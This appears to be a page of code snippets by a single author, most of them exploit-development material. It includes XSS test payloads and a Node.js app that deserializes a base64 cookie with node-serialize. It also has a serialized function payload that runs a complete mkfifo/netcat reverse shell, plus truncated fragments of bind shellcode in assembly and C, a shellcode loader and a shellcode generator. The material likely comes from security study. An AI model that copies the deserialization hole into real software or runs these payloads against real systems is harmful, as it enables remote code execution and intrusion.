AdityaChaudhary

console.log('loaded');

alert(1);

document.write(123);

AdityaChaudhary

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();

AdityaChaudhary

var serialize = require('node-serialize');

x = {
test : function(){ return 'hi'; }
};

console.log("Serialized: \n" + serialize.serialize(x));


/*

AdityaChaudhary

var serialize = require('node-serialize');


x = {
test : function(){
  require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f", function puts(error, stdout, stderr) {});
}
};

console.log("Serialized: \n" + serialize.serialize(x));

AdityaChaudhary

 Session.Clear();
 Session.Abandon();
 Session.RemoveAll();
if (Request.Cookies["ASP.NET_SessionId"] != null)
{
  Response.Cookies["ASP.NET_SessionId"].Value = string.Empty;
  Response.Cookies["ASP.NET_SessionId"].Expires = DateTime.Now.AddMonths(-20);
}

AdityaChaudhary

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
 int socket_fd;
 int client_fd;
 socklen_t socklen;
 struct sockaddr_in srv_addr;
 struct sockaddr_in cli_addr;

AdityaChaudhary

; Bind Shellcode
; Author: Aditya Chaudhary
; Date: 6th Jan 2019

global _start
section .text

_start:

  xor eax, eax

AdityaChaudhary

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"<shell_code_here>";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

AdityaChaudhary

# Python Shellcode Generator
# Paste the shell code and use command line args to provide port number
# python shellcode_gen.py 7777

#!/bin/python

import sys, struct
if (len(sys.argv) < 2):
    print "[#] Error: Please provide port number"
else:

AdityaChaudhary

#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define ADDR "127.0.0.1"
#define PORT 7777

int main(void) {